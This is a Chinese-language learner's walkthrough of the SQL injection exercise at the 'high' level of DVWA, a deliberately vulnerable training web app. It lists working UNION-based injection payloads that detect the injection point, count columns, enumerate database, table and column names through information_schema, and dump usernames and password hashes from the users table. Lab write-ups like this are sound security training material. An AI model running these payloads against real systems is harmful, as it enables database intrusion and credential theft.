有了前两关的基础,现在做起来,比较得心应手了
现在开始:
1.输入1'
输入1' and '1'='1
输入1' and '1'='2
由此可见,这也是一个字符型的注入
2.获取字段数
输入1' order by 2#
输入1' order by 3#
由此可见,字段数是2,
我觉得所谓high等级较前两个的区别就是出错了之后,不再提醒错误原因,只显示Something went wrong.
3.获取数据库名
输入1' union select 1,database()#
数据库名dvwa
4,获取表名
输入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#
获得表名为 guestbook和users
5.获取数据库中的列
输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
6.获取user列和 password列的内容
输入1' union select group_concat(user),group_concat(password) from users#
好的,high等级的sql注入就完成了
接下来,总结一下sql注入的基本步骤
1,判断是否有注入点和注入类型
2,获取字段数
3,获取数据库名
4,获取表名
5,获取列名
6,获取列里的数据
enmmmmmm,dvwa三个等级的sql注入已经结束了,感觉步骤的代码有很多相似之处,但这只是刚开始,以后还会遇到更难的,希望自己可以加油!!!